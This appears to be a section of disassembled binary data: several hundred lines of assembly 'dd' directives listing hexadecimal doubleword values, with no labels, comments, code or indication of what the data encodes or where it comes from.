		dd 0CC1661BFh, 0F301014Fh, 0EFA74EDDh, 0FB96DCDEh, 3794A1EDh
		dd 0B51EFC4Fh, 0F9058DE6h, 0DD22D468h, 91022354h, 0D862107Dh
		dd 0ECD56816h, 93035297h, 0A81913ACh, 0DCEBFB07h, 469A9346h
		dd 24315D09h, 0AB28C047h, 0E99016CEh, 0B45AF889h, 0C3755CBEh
		dd 23BD7CC9h, 6021232h,	3F97FC03h, 0CE518E01h, 502BE90Dh
		dd 49D6BD9Eh, 8102E272h, 16728BCDh, 0C60603Eh, 39A52D17h
		dd 75461940h, 8C71CDDAh, 0CD0CCF3h, 291E9172h, 0CA29E992h
		dd 16BCF77Ah, 5DF79010h, 657F463h, 0F0E34702h, 7F0F7844h
		dd 0C87F74C4h, 62647D27h, 89779EDh, 531360B0h, 0FB00DAB8h
		dd 816E452Ch, 6114DCC9h, 20F9285Eh, 6F211E6Ch, 845A3A1Ch
		dd 0C6C4AECCh, 3CAD8BFFh, 393E58B2h, 16C282C9h,	55FCB1E9h
		dd 0B3A38096h, 15BA67F8h, 981B80h, 9B05EA45h, 1366078h
		dd 646F058h, 0ADA377Bh,	1C7C0ED0h, 3D729AAh, 771659F3h
		dd 2364F3E0h, 0DDD5F65Eh, 0D290D6FDh, 0E3E06620h, 0D6B12B9Fh
		dd 8D4242E4h, 0F1520009h, 95AEFDFAh, 564B6850h,	49D377F7h
		dd 9910FECCh, 0BA804E33h, 0F7560994h, 0B7814A79h, 7FC53A6Ch
		dd 4ECB8A80h, 0C14B04C9h, 0FA4706E7h, 7C48D6D0h, 0EC2A40E6h
		dd 762E1513h, 7EA11F09h, 0F550CEBCh, 0F784B0F8h, 0A7CBEF9Ch
		dd 0E275C19Ah, 0A64CDDB0h, 8BD7CA2Ah, 15B0E706h, 3E9A3AD9h
		dd 0CD2DEB84h, 84BD356h, 0EAA0B0E0h, 0F33BF51Ch, 59DCBD01h
		dd 9C35033Fh, 0B219102Ah, 0D27B0D04h, 0AF86C32Ah, 0B9D9A93Fh
		dd 1264DD20h, 230B39F2h, 33678625h, 88C32512h, 3A3F8C61h
		dd 0ED816F1Fh, 8E5C0FFh, 80ACB6ECh, 4CB45F5Bh, 430496Fh
		dd 0BBD44D34h, 0D35881FFh, 0C57E7869h, 0E8A34461h, 3E124901h
		dd 894DBE6Bh, 59D6310Bh, 0EC380812h, 0F6CBCB9Dh, 58E6EA8h
		dd 0A3FD442Dh, 4A89AE2Bh, 4FA1BD41h, 5804E33Bh,	0B56D20BCh
		dd 7BBD8170h, 3BD5E90Dh, 0BEDC20D1h, 0AAD1F728h, 0FB807B40h
		dd 6E2AC12Ah, 0FA603FEEh, 3B284E3Ch, 541017Ch, 8B28108h
		dd 7B647EB6h, 0FE640AEh, 1748735h, 80E86C4Bh, 5D250CD0h
		dd 405A37FEh, 286F572Fh, 5C9C2BC0h, 0BC8094EAh,	3179D8D0h
		dd 0B5085095h, 3886FD2Ch, 97A9EB52h, 8DDC1FBBh,	3BD163A2h
		dd 0BBE69F04h, 0ADD7C8A9h, 11EE88F6h, 3EA04F34h, 376600BEh
		dd 0E68148FAh, 512F6429h, 8592024Eh, 28B075AEh,	59B3507Ah
		dd 84DF539Eh, 7AC01BA4h, 9F23931Bh, 0C20C49FAh,	0ACDC6CE9h
		dd 15A17D3h, 0C7F1B2DAh, 201BFEE9h, 0DA33790Bh,	1C584C37h
		dd 0B9627401h, 70F8296Eh, 3ABE7DF6h, 14FF0449h,	4A213CB0h
		dd 8908A9C1h, 77356249h, 0A4BF5BC5h, 83BD3A0Fh,	4F679BCEh
		dd 9DF6B07Eh, 5AF7EDEFh, 0BB8603B8h, 4D228E4h, 0D0082BC6h
		dd 576FC7Ch, 7542F1Eh, 0A9E9D88Ah, 0AF7C8C29h, 58E1300Bh
		dd 8DEE6707h, 0B9FE295Bh, 0F352BF0Bh, 5C93BD65h, 2129BA61h
		dd 259D68BAh, 0D3018D98h, 5A080084h, 0C25E950h,	278E14D5h
		dd 9A71F6DEh, 7B41E501h, 0C5D87372h, 0FDA50903h, 0F1A018Ch
		dd 5ACAC657h, 65FFB359h, 32BDED4Ch, 0A372C9DEh,	0F7B09E44h
		dd 59991E20h, 0B04B585Bh, 139F5831h, 61614B6Ch,	4900DE5h
		dd 0D3691182h, 2E9DA4ABh, 10D7ACF3h, 0CFBD07CAh, 5D0B465Bh
		dd 2FF56C90h, 521A6210h, 0A3C62403h, 425A01ADh,	9777ABB2h
		dd 7CF8DCD2h, 0FA68F4A8h, 0BA316B4Fh, 5F00D807h, 28143005h
		dd 28DE616Dh, 5E5A072Dh, 0A8CDAE88h, 0BDD021E8h, 2C3F2BF3h
		dd 0BF8062BCh, 17184F29h, 0D8FA5C89h, 247DE831h, 0B43C132Bh
		dd 81B4AEBCh, 89FDB20Bh, 59125F31h, 4A778886h, 11169A28h
		dd 9E04FA63h, 0F8175015h, 68444E97h, 0EE53D2D0h, 1679CE4Eh
		dd 2F431EABh, 0D16B8059h, 4BF1A09Fh, 344527CBh,	0EE4183E5h
		dd 82AA8348h, 68A71D84h, 174D1EB8h, 0BB522D49h,	0F504A624h
		dd 0B9E58C72h, 2575FA4h, 5BDF87FBh, 0A496DD61h,	632C57ABh
		dd 86F3310Fh, 299079Ch,	7D46E3EBh, 657D5E38h, 2DCC20EEh
		dd 5EDA1019h, 0E24E250Bh, 86A05F65h, 7165774h, 0B28ECEDh
		dd 2644183Fh, 0F81748DAh, 0D9D829FBh, 53919C90h, 76F5BB87h
		dd 0E43E169h, 0D96E6135h, 0C6584170h, 62BF004Ch, 8CA2E48h
		dd 8005147Dh, 9580C967h, 0BC0EEB2h, 0E04EB652h,	0BCC097F4h
		dd 7B59E9CDh, 0DB040B4Ah, 582F5E59h, 0A4B6768h,	0C89882ADh
		dd 0B8809D9Ch, 0B720129h, 3E0C107h, 45AD025h, 0D5201390h
		dd 0BD509F51h, 499C6819h, 167AFAF1h, 1075DB2Ch,	0EE58CD56h
		dd 9F2F101h, 0C6497F96h, 7D8B980h, 0C12842CFh, 0F201B4E2h
		dd 716D41D0h, 0E425B0E9h, 149F9B3Ah, 2F726852h,	976A415Ah
		dd 0FF5D177Fh, 8B3FBE29h, 18E6283Eh, 97E31EA1h,	35575EB1h
		dd 86483BE6h, 2FC3984Fh, 59B7E99Ah, 0C3E9E2B0h,	0D00797F8h
		dd 0C7F780E7h, 17514E3Eh, 7C90B51Fh, 0F2CAFE17h, 96523E04h
		dd 0D5CDE1A6h, 1774C92Ch, 0F263E068h, 0C73B166Ah, 0E07B73C9h
		dd 4001CDA3h, 4729980Ch, 0BD305824h, 2A6341A1h,	0DB8E48C7h
		dd 0AEC9B003h, 9F33D01h, 4EDF7E92h, 9E49B726h, 0DCB1B07Fh
		dd 0A43CB9B4h, 9D715A05h, 0D0EF18B5h, 8A99E95Ah, 9F17C49Dh
		dd 68132A70h, 6C34057Eh, 35E9D620h, 31929F5Bh, 0C46F47C1h
		dd 609D6282h, 5C3040D9h, 2B0F6965h, 16932A58h, 96540512h
		dd 0D226AA7Eh, 0BCB90B90h, 0A483DCEAh, 0A150A4E9h, 0EF5A07FEh
		dd 8A9F93ACh, 82894841h, 0D144BEF3h, 0DD4751E0h, 3A6789A9h
		dd 0B3532B81h, 0D879EADBh, 0FDBE5E09h, 0AA84EA5h, 0E6202925h
		dd 40746B2Fh, 0C6C031B0h, 449D11E6h, 5F26F046h,	0DEFCF28Bh
		dd 4BC9C11Fh, 3E9C5F9Ah, 7F95629Dh, 90971416h, 4AC26899h
		dd 0A4A1F819h, 0EFE2AC2h, 0AF330417h, 195F8A48h, 592C4C29h
		dd 601BD38h, 0E92E900Fh, 1D697CB5h, 3FCBEF88h, 0AA96F5B6h
		dd 0A34EABFAh, 0D4F9C641h, 9C2C6A14h, 17ACBD4Ah, 859DD3DFh
		dd 6A76E67Bh, 30098407h, 0B7B3C4B5h, 0C8FE42CCh, 0BA1EB260h
		dd 4CB96AADh, 0D4062357h, 824FE855h, 0DD232B01h, 848E91Dh
		dd 7865F23Bh, 0D378122Fh, 2FE64B22h, 936F0748h,	0BAB599D7h
		dd 59D90CB1h, 51AAB07Fh
		dd 13E3B13Bh, 0DA0304E1h, 10CE309Bh, 137E216Ah,	6D08028Fh
		dd 0FD311646h, 4B8200BCh, 0D8F77BBDh, 57240h, 297E0C9Dh
		dd 0D185E9C3h, 0C36AEA9Dh, 0C90C595Ah, 78C6489h, 108B835Ah
		dd 2ECB9374h, 5A033A5Dh, 0E112E8C1h, 412BE0FBh,	274137A8h
		dd 438480B2h, 93074B0Ah, 4D373F7h, 9D697105h, 27DAC5Fh
		dd 2B68EE29h, 61E8DC5Bh, 92525F2Dh, 0A908C61Eh,	0D37E25E5h
		dd 1A4CD611h, 0FFC62125h, 6CBA5B4Ah, 3D30E917h,	0C7C1A79Fh
		dd 21183A06h, 0C53F62EFh, 142EA333h, 0D04EDDDCh, 0BCDEB8Ah
		dd 1320FA2Eh, 8025C34h,	5BD8215Fh, 9FF71B01h, 9BE504Ah
		dd 1BD55F58h, 0B94E19Dh, 88599087h, 3F01B65Ch, 919C5B4Eh
		dd 0C6692FE9h, 24A25051h, 0C7F5D38Ah, 0A60CB46Fh, 7EE1103Fh
		dd 200A682Ah, 5C27B5CDh, 8CA7A231h, 9211CC45h, 9C2397D3h
		dd 0E12DC434h, 8E6E2AC2h, 0D80D1702h, 0F899631Ah, 4C6F9F16h
		dd 5101CB09h, 33575DB9h, 0BBA12A61h, 54025ED9h,	90081D5Bh
		dd 0E5C10C4Ah, 121DC5BEh, 7FFB0267h, 4320EAB5h,	0F6D3BA84h
		dd 0FF281715h, 8B202C4Fh, 5A1EA09Ah, 1D83CF81h,	836B927Dh
		dd 0C66F7BF7h, 5C83C6B5h, 1BFEC701h, 0FA31E261h, 0C0032F30h
		dd 0DECC2CDh, 1761EBFh,	1302949Fh, 0E808ED68h, 7152DE3Eh
		dd 0FDDFB10h, 0EDC31BEh, 6587A235h, 6EEB7598h, 3240549Ah
		dd 83A029ADh, 0EDA66708h, 0E1B27C95h, 3A80A2E9h, 405B83CCh
		dd 3D2A686Dh, 0E9124101h, 914C53F1h, 4FE31014h,	8968A97Bh
		dd 9935C29h, 0A1F1D388h, 561E0C81h, 43F85808h, 552597D4h
		dd 0E0C653D1h, 61E5DA95h, 0F9B230AEh, 25A2EE97h, 0CE12924Ah
		dd 3FB0AF41h, 37E9AB16h, 0DE5FC2E4h, 91EB9871h,	0F56056F5h
		dd 6B018190h, 5309708Bh, 0FEA586E9h, 5A3DF905h,	0E4541EC7h
		dd 755F5407h, 58CCD21Fh, 0D65CD57h, 6A24440Bh, 67A0DCC4h
		dd 1B5B059h, 154203C9h,	0E602E6C1h, 0D954B8A9h,	5371770Eh
		dd 76BA9205h, 0C3FE6F4h, 423DCC78h, 8803FB40h, 0BBE9A348h
		dd 0C72526BAh, 0F9DA0BB6h, 29D986F7h, 0B8CC2EB6h, 11E44E23h
		dd 0C47CB8B0h, 4D0F078Eh, 34DD92DCh, 10C88324h,	7A683609h
		dd 5D543126h, 8DE059CEh, 3A1102B8h, 732FF204h, 0C94A31BBh
		dd 0B8B05CDh, 0F7870E48h, 6A6831E9h, 0B2AF304Ah, 90EF0180h
		dd 425603FBh, 0CF2917EDh, 0B8D04FFh, 0E4875566h, 0AA505404h
		dd 4F41F9C9h, 5F02434Eh, 0E0171441h, 290A1B69h,	8BA52DEh
		dd 61E2D696h, 57DEE985h, 0A172ACEEh, 0E23BECA1h, 7D055AB3h
		dd 53CDEE4Dh, 100CCB3Fh, 4E3E467Dh, 2C9BF602h, 0F680285Eh
		dd 302A2496h, 48F7013Dh, 208B573h, 0BFCB8195h, 646DE042h
		dd 8940A60h, 6E06C69Fh,	0B0C6129h, 7D590336h, 9681905Eh
		dd 896EDFF4h, 61BD5500h, 1422091Fh, 3D87CDC0h, 2FE96D2Dh
		dd 9AEABB44h, 432659F6h, 5505F010h, 0CD456C68h,	59D020DAh
		dd 0D81D223Dh, 1AF60166h, 64E97E3Bh, 0D36F2A35h, 7E78B43h
		dd 104CB60Ch, 0CA444F8h, 5C9A181h, 201787ACh, 6C9A99C3h
		dd 9D861054h, 8B5E661Ch, 0A0EDE21h, 202FB9EFh, 0D7C98167h
		dd 0C183E334h, 8E82879h, 0CDFFAE3h, 7ECA130Bh, 0CE29040Dh
		dd 0BCBE0CE9h, 63ADC4C2h, 0A43F9099h, 0EF4EC1C6h, 0A20F56ACh
		dd 965F35B7h, 3A61A1B1h, 9BB89D8h, 56F7656h, 0C8F3B705h
		dd 0BD1EDB66h, 0FDD217FBh, 0E154AAC2h, 307F5B99h, 3A06879h
		dd 0C1A45B99h, 0E0F2A417h, 90C35F50h, 0B0A4CD7h, 0C916AC3Eh
		dd 4D12EF13h, 9A1B4C0Fh, 0D68C77ACh, 5A80D684h,	0C8104C34h
		dd 9584620h, 4F90101Eh,	5A49BB01h, 0EC4B623Ah, 0B5A854ECh
		dd 0CC90F1F7h, 5C514227h, 414DEE8Ah, 5C48969Bh,	0C1EB74AFh
		dd 3AFDFB53h, 9512FD24h, 93B4C5ECh, 212F5A7Fh, 2823D859h
		dd 2030C5D4h, 0E2C5F7BDh, 6EF4ED82h, 0C6510A95h, 0CE4766h
		dd 3470BE03h, 0BA4B4BE9h, 112162A6h, 7EB9401Ah,	9089ADB7h
		dd 53BAAADFh, 623006A8h, 0B5C369D1h, 3CA732C2h,	2101D316h
		dd 78698BF9h, 0FA80E9C4h, 42A98F17h, 77051A9Fh,	615DC077h
		dd 36960C77h, 310B65B9h, 0D0E9C109h, 414830F0h,	0F7982B9h
		dd 4F49ABA0h, 91598991h, 0D12B7C50h, 6041C5D4h,	63970929h
		dd 1EA7421h, 6A657C1Eh,	6A8923E9h, 7C6724A2h, 0BF48B603h
		dd 811400BFh, 260B35CEh, 3F5D7358h, 0E3F18A8Bh,	0DBB9DEC0h
		dd 0C7F56F2Eh, 9B145725h, 14B0D15Ch, 846962AEh,	0AC19A096h
		dd 894D6540h, 84D2F7A0h, 66094BE2h, 0EDCEED2Dh,	0F4C86A1Ch
		dd 9DAE70D2h, 78F79CF0h, 86CBA142h, 7CC5BF00h, 5E383027h
		dd 26E0B136h, 0C88003F6h, 98B65201h, 5AF12DBFh,	0B26508F0h
		dd 37EA6A84h, 0DC2193D4h, 3C23705h, 1B8ED588h, 91E11C1Bh
		dd 45E3F1B7h, 0E9827E01h, 5CC2CA30h, 0BE68F0F2h, 57198B93h
		dd 0D5745948h, 0CC6D4BA4h, 649E28DAh, 385EE24Eh, 42AAE27Eh
		dd 55080911h, 0AF12970Dh, 88D5602Dh, 56C1C902h,	568428Ch
		dd 66756E5Bh, 0A4E93484h, 5B8BB660h, 0E91513CEh, 96918D55h
		dd 0D81005B3h, 21BC5E99h, 17532C64h, 7CFC41EBh,	0DB22CC70h
		dd 713F1CFh, 3BC1D15Ah,	0E5C06707h, 39B55499h, 0E8E6ED96h
		dd 0F8201701h, 680BBECBh, 0CED91B1Dh, 0C806348Ah, 96978396h
		dd 7EFB3B62h, 0D55C691Fh, 62516850h, 0B0AC3B07h, 0C0B70F01h
		dd 0CD6B57F5h, 0FFE2E2C5h, 3B261857h, 0F41CBD82h, 7620B902h
		dd 40317FCBh, 0C1EB6305h, 52C7F52Bh, 0DEA02AFEh, 0FB1002BEh
		dd 58C5297Dh, 0F56FE85Dh, 66111828h, 4D512469h,	0F76B7F07h
		dd 22212DD8h, 4CD430A0h, 0ABA096Fh, 0AC02E883h,	0BA7DC2C3h
		dd 3253761Fh, 0A5C15D0Ah, 46FA0545h, 97D68273h,	0FFBDEE4Bh
		dd 0CF73277Bh, 9D607AE8h, 95C9D13Dh, 92FE350h, 41BE0F5Ch
		dd 390DF42Dh, 0B40B4894h, 0F53E9182h, 0D7CF1Ah,	0B06EEF80h
		dd 89E91869h, 0F9F78FBDh, 3973F114h, 189725B2h,	316850F1h
		dd 3855237Ah, 0D1F701A0h, 0DE2363Fh, 20C495D4h,	0DB6812BAh
		dd 50B53115h, 2610E857h, 5F417A14h, 92EC5E8Ch, 0E8980801h
		dd 0F1F88905h, 4BF76C50h, 2DE9CDF4h, 2674DA27h,	0C1186BEFh
		dd 0AC305CFDh, 0DCC6BF0Ah, 0D4455369h, 0AD22A603h, 9BA1B5E8h
		dd 72885280h, 0ACF55BC6h, 94EF2561h, 2AD89D56h,	5A978E54h
		dd 39ED832Ch, 7F4E864Fh, 4837E2EDh, 0C1128356h,	555428CEh
		dd 415BCFF8h, 3E6DB620h, 0ABF1ED7Ah, 0AAC77FD9h, 4817C80Eh
		dd 2CC11235h, 0F88309DBh, 5749B120h, 41F44CBFh,	502B1A49h
		dd 0E05B0F6h, 6FE90266h, 0E22B30F1h, 7F688233h,	3A4DDF5Fh
		dd 0E92606A2h, 0DEAD8858h, 9568780Bh, 29CC3C5Ah, 0A0CD5CBFh
		dd 685650C0h, 593F4266h, 6E749364h, 798610F4h, 41D5EC5h
		dd 0CEFC2C31h, 40783CF3h, 927DEC58h, 0EE313986h, 0AB08F534h
		dd 84B8C313h, 2C41884h,	7D4BDA68h, 0BD25D9EEh, 4FA5641h
		dd 0F832EE68h, 0C0F4C4A4h, 0DCE00012h, 4A2D2175h, 42DAF71Fh
		dd 7D6B5DCCh, 3F5397CFh, 0F6A2B209h, 0A1575ADEh, 120D68EBh
		dd 0BF013555h, 629B036Eh, 8035C92Fh, 4460C39Ch,	90EB090Ch
		dd 9DCF5E02h, 209B80Eh,	735DDF05h, 388F712h, 0B4591207h
		dd 1A5B2C32h, 49F3EB0Dh, 0DFBCF23Ah, 1E3C71CDh,	10ACF67Eh
		dd 881D6C32h, 0B453D3E2h, 6D637FC3h, 4AFACB8Bh,	0A205FB9Fh
		dd 91AEC681h, 385BE956h, 504B582Ah, 78107774h, 10447E2h
		dd 0C0238046h, 0E04CC1B3h, 257AEDFFh, 79F27B36h, 799AE8D3h
		dd 0FC6FE80h, 805FB151h
		dd 0C92D7C7Fh, 7EF4B389h, 12413E1Dh, 0C1307934h, 0CED158E9h
		dd 0A9122C3Fh, 0EDEC9A41h, 1F1B1636h, 0A3030725h, 6D8B1972h
		dd 2BF2025Fh, 596601C1h, 4DA12E88h, 756A46F9h, 0E353ABCEh
		dd 5A26ABA9h, 12C980B6h, 60BA20EBh, 0FB68FC02h,	4B5EF201h
		dd 7511A0E3h, 0C5EA0481h, 0AA422752h, 2608E250h, 8410F85Fh
		dd 1C1EFC4Fh, 32FB1AE6h, 0D10645h, 7075E9E4h, 85413DB4h
		dd 0F32F64E2h, 25F29363h, 0E6C988C5h, 20DD48E2h, 4BD4FE32h
		dd 0E1108977h, 5B1D24E3h, 3B4D92A0h, 2E627AB4h,	77450F67h
		dd 6BEAE728h, 70AEFE7Ch, 2584BE56h, 0FA8919E9h,	7B9595F0h
		dd 0E644A75Ah, 0B450C3C0h, 0C6E68863h, 878AE96Bh, 4C3C31BEh
		dd 13A84A44h, 351011A2h, 0E300824Fh, 0BB22553h,	6B87295Eh
		dd 1F7DB910h, 31752F06h, 845D8BA4h, 2D0C1E19h, 0F7970CD6h
		dd 0A945B4E1h, 0C17074EEh, 4B7CB02h, 0ADE283BBh, 76E236C9h
		dd 7FAB806Bh, 0FBE93633h, 0BACE003Bh, 55120FD6h, 8CDC2169h
		dd 818212DFh, 846F79F8h, 0E4128195h, 0F5F45110h, 0BE317F4Eh
		dd 2901AB59h, 2E4731D3h, 0E8AC0D53h, 0DF68E24Eh, 62D6CA25h
		dd 0A8E2561Bh, 0A6F04E56h, 7E751607h, 97C039ACh, 0E93C2E3Ah
		dd 98B89427h, 4EEB8883h, 6F96C78Ah, 0BEE90878h,	77C1D76Bh
		dd 0C581BC30h, 6148EA97h, 0C3A8DBA0h, 0CE0126D2h, 6102CBD5h
		dd 89D46725h, 0DB17C55Bh, 0BBE96D80h, 4B129E63h, 0D27DEB49h
		dd 0E0519B74h, 0AC4B856Dh, 0E9E95B89h, 0E263F85Bh, 0EACFD8ABh
		dd 24395DB5h, 9926454Bh, 20E9D9CEh, 2EF9B97Ah, 2D7EE08Eh
		dd 0D69C8DD3h, 0A0F7D6FDh, 6294EA74h, 0BC524BDAh, 0E22473A2h
		dd 0D513D808h, 0B6C0F7E8h, 16B6819h, 3786DF58h,	0A6629FA8h
		dd 0F2879B4Ch, 0BEFC48FEh, 1D6C13A4h, 12CDAD26h, 358D643Eh
		dd 21ACA76Fh, 0FF361AA3h, 2C266FDAh, 2053A7FAh,	0BD049D7Ah
		dd 0AC6251Bh, 0C52CA4AFh, 68D9A19Dh, 212E093Bh,	2D9D681h
		dd 0E89285ACh, 0BCE3A037h, 0A26960CBh, 3A5F79A0h, 8008589Fh
		dd 4814E907h, 0BDEDE6Ch, 0D21063E7h, 7A2D230Ah,	6121C22Eh
		dd 0E6D0A861h, 3F05E248h, 0D42F19E7h, 0EEE6B9D8h, 10A41BB7h
		dd 13F227EAh, 8463595Ah, 0B35398B5h, 0D5E92F9Eh, 2A855563h
		dd 44A2B001h, 9E061812h, 8CA80880h, 80356780h, 117C90DAh
		dd 31CE2D20h, 56189F8Bh, 0CC088C5Dh, 40F918E5h,	8140A71Fh
		dd 1729C43Ah, 34D81D4Ch, 806C0A08h, 2807204h, 1640C4B2h
		dd 7735065Ah, 0F6E63110h, 88431708h, 88B3718h, 0B5187CE7h
		dd 0CEAE2061h, 838AC10h, 18C62232h, 62C1914Ah, 0A0310878h
		dd 737D9C03h, 14624028h, 6CAB8640h, 9DF9919Ah, 83083162h
		dd 6E050317h, 40B4D131h, 888E387h, 58159765h, 5A571094h
		dd 8E3843Eh, 38192C45h,	8F089344h, 739A02F6h, 3857702h
		dd 813108CBh, 796C38FCh, 956FB301h, 10989010h, 0F91857A7h
		dd 8B9508D2h, 52C718C6h, 0EB4D3108h, 95DEB318h,	10CC4408h
		dd 3C108E1Ch, 0E60A195Fh, 79882C20h, 170C753Eh,	40ED0853h
		dd 41C64CD1h, 20106319h, 93209DCFh, 0B68631C8h,	882B8E08h
		dd 1FDC7D18h, 6F206074h, 0D3EE2056h, 100DC831h,	8801E871h
		dd 89250196h, 6CD60888h, 183A3408h, 4CCC4129h, 801EEE80h
		dd 37808BACh, 3C08C97Ah, 44506025h, 69853DCh, 202096A0h
		dd 5E20335Dh, 720B319Bh, 32A5B18h, 0EA49106Eh, 0E4372A23h
		dd 0E1E98A62h, 26A0271h, 829EC0Fh, 18A76651h, 0A8332959h
		dd 187AE118h, 18CC9008h, 8C6C907h, 54189956h, 406FD068h
		dd 0F7632875h, 2ADD1B10h, 20CCF608h, 76205093h,	0A84C20BDh
		dd 8CB0431h, 5102C3FBh,	6A9AA8A3h, 5CDB0824h, 10C7ED8Ch
		dd 0F13F4147h, 0AF950192h, 19A08190h, 21085C34h, 44D91992h
		dd 0A7C0304h, 2F8CF48Eh, 63CD08C0h, 57FF3048h, 0E9B00812h
		dd 98F18C58h, 0C6C49290h, 10600219h, 19F18E62h,	642503E6h
		dd 51B61018h, 0C4A4BF08h, 4100918h, 0B7091FEAh,	86240822h
		dd 493BBE02h, 79017118h, 1AA90358h, 7145D931h, 248F1049h
		dd 586241C0h, 2159710h,	0E503D03Bh, 8D592065h, 9979AB32h
		dd 0FD710395h, 790E149h, 0E8FC9C60h, 457F109h, 0D34AF5EFh
		dd 23C7C793h, 1000480Dh, 752C473Bh, 6313EB02h, 0A7B90E89h
		dd 5003D7Ah, 408F4401h,	0BC90B49h, 748BF775h, 0DE81AF0Eh
		dd 2EB9F003h, 0C033EE47h, 4FB10F80h, 0AC2CC030h, 6EE99204h
		dd 2DA2FA4Ah, 2CDE312Ch, 692D00E6h, 0A4E9E43Ah,	57484662h
		dd 5F288BBFh, 51350A80h, 785B9FA6h, 5672F9F1h, 68794196h
		dd 747DF95Bh, 317772D7h, 162D11B8h, 0A5AB73E1h,	0AB08C9D9h
		dd 685A02FFh, 2D747C71h, 8580C967h, 6152E936h, 0FE2D9634h
		dd 0DD62E560h, 0A8A23AC3h, 5339EBC0h, 22C541FBh, 0A74B3FE9h
		dd 0D4105789h, 4EC0215Eh, 6058AABEh, 6746F46Fh,	62541447h
		dd 0B7D66ECBh, 0C3CCFF96h, 0B9510250h, 463E4372h, 0E9043E74h
		dd 0F4F4F2DDh, 0CCA62BBh, 238BC268h, 539F10FEh,	964209FDh
		dd 77A37F10h, 784F25BDh, 0BC2BE329h, 176882A3h,	7DE65D26h
		dd 222388C1h, 253B3F82h, 9A8EEED8h, 39511440h, 5892D189h
		dd 7D16D859h, 0B82EDD60h, 1C35B23h, 79FD355Ch, 0E32D576Dh
		dd 0E8706BB9h, 0E127533Bh, 0A6DD016h, 725C41DBh, 0B56878C6h
		dd 1CA8444Fh, 0CCD301B4h, 3B516E0Bh, 80488B5h, 21FF8BFBh
		dd 2458281Ch, 16965101h, 6884D8C3h, 0A547EB2Dh,	0AB0B1A80h
		dd 1EFED64Dh, 0A8E5092Ah, 40F76C62h, 0CE6521DEh, 0C6E4D926h
		dd 1561AFF9h, 4D8C0952h, 0E5B71242h, 0A77FD13h,	7200E385h
		dd 87E93D6Ah, 0B422C7D0h, 0EB6C7E22h, 0C3A684Dh, 5EEE4A5Ah
		dd 98235ACDh, 5127A4FEh, 22E96285h, 67BFE4D0h, 438018F7h
		dd 5D18EA89h, 6458CA29h, 7D48BFB3h, 59627C04h, 0C7AEF16h
		dd 15E34038h, 48B48244h, 907F5B0Bh, 3FEFC1E0h, 0EE904704h
		dd 702925C7h, 747C0280h, 0D687679Ch, 997E60F7h,	5FEF3083h
		dd 0A27958A6h, 0BCE5154Fh, 0B8210805h, 84C370D1h, 12FF8AABh
		dd 84B91C89h, 4E4CE9A0h, 0F15A0AC9h, 1418BE77h,	685818D6h
		dd 46104F27h, 0DB5624B0h, 0F00162A0h, 0EF37764Eh, 6D52FA44h
		dd 838ADCFDh, 25371A82h, 4DE5DC1Dh, 14006792h, 5D195BB2h
		dd 1080E349h, 0C8E5A84Ah, 5967CF09h, 1FF7CA2Eh,	16AB522Bh
		dd 0FA7342FBh, 28A1B301h, 3DEC647Dh, 49EB9145h,	0FAF349C3h
		dd 569CEABCh, 25683A52h, 0C4C8AB2Fh, 5527E956h,	0F4FE82Fh
		dd 768C3D4Ah, 2D6C9290h, 4C53B159h, 0E16B0B25h,	55323B22h
		dd 0BA816851h, 0E61D1414h, 3702F313h, 56576355h, 4972AB81h
		dd 0EC287E6Bh, 5EF22531h, 22C0EADEh, 1670B560h,	0ADE9D629h
		dd 535C00DCh, 4EEDBE56h, 0E1A48ECh, 13B11404h, 4B70ACE5h
		dd 680C0FB8h, 9D9B3DB7h, 39804140h, 0EF9E4ACFh,	278DDD2Fh
		dd 7CC98679h, 97FF485Dh, 29A7F083h, 0A98A7FEDh,	5A7EA34Ah
		dd 38F6BA4h, 68487467h,	87136305h, 5520EAC3h, 5A9C1D8Ch
		dd 0D65CD2B3h, 70154745h, 98A04FEEh, 60BD3805h,	0D814A858h
		dd 0EE7C072Dh, 44B83A22h, 0E230578Bh, 0BFAE1E02h, 43C68001h
		dd 0F673F6CCh, 7A5E4117h, 5FC13E82h, 6E72E118h,	46716D05h
		dd 90BFE6D1h, 0D45CA1A8h, 0A6E95D09h, 0D132A53Fh, 0CB78C6EEh
		dd 1F29ED48h, 0EED302F2h, 0A1E4AADDh, 6A3C2518h, 80308DDh
		dd 0E9267720h, 309D7426h, 9E5F903Bh, 4D18F24Ch,	97C34990h
		dd 3B361313h, 0EB730AFEh
		dd 24283708h, 0F83BD537h, 0E0332F0Ch, 261A2D55h, 5F1F96Ch
		dd 4D75CB8h, 5FA7D83h, 88BAEB83h, 0F5409CE8h, 84000BFh
		dd 0CF812CB7h, 31D50EAh, 0F7C04701h, 43D7285Eh,	0E1B125E9h
		dd 0FC061677h, 55DCAA88h, 690C271h, 14DCBD03h, 3CD30E59h
		dd 0F180730Fh, 8AD009D8h, 8249E6C2h, 0E44DF0FBh, 0B5A92001h
		dd 0A5015A2Ah, 219D8FA4h, 3EC7E95Fh, 0EEC14286h, 0F00F2408h
		dd 0C430B85Ch, 88AEC374h, 8C796814h, 0DC699B9Fh, 0ECF18AD4h
		dd 8470A33Ah, 65B8F8B5h, 2D09F8B4h, 4C681A31h, 201C9A8Fh
		dd 0E095E58Dh, 1D40F1B8h, 814C5575h, 20652FC9h,	14B43068h
		dd 79FE5B80h, 1463D3C7h, 8A31C942h, 20545506h, 0BF484E4Ah
		dd 33E38143h, 34EC5786h, 0AA16D652h, 459C1B71h,	0C6C88F44h
		dd 67575442h, 4B6B33E9h, 0E8B25020h, 212D4E5Ch,	6AE56826h
		dd 60671748h, 27F57D6Eh, 0CE984D44h, 0B878C501h, 9E9AAC2h
		dd 944F2E6h, 353119F8h,	0DF68906h, 5D5A89B5h, 29A3A699h
		dd 0D682770Ch, 0E01353D2h, 74BB06D4h, 0E915715Dh, 352DEFC0h
		dd 4AA0E653h, 3E21F189h, 0EEA4E0E2h, 0C3EF7584h, 3FCE1656h
		dd 996E150h, 0B2595881h, 51055568h, 0BF1D37E9h,	5A6885CCh
		dd 9374E3B3h, 0B96E22BEh, 52936801h, 0D3D1B27Ah, 20C869BEh
		dd 90C90C96h, 55C05F5Fh, 659DEEE2h, 7CE94175h, 108A32DDh
		dd 4F50E69Ah, 0A8604F04h, 59CB12BAh, 5484DBADh,	4CDFFE5Ah
		dd 1220E058h, 16C8302Eh, 4A8C7CE2h, 0FE645F2Fh,	44D35F6h
		dd 3CE44CB1h, 4C9C5AD9h, 12B80250h, 5298374h, 2DFD840h
		dd 2E0525EAh, 97E94A62h, 52010BBFh, 9FCC0871h, 258212E9h
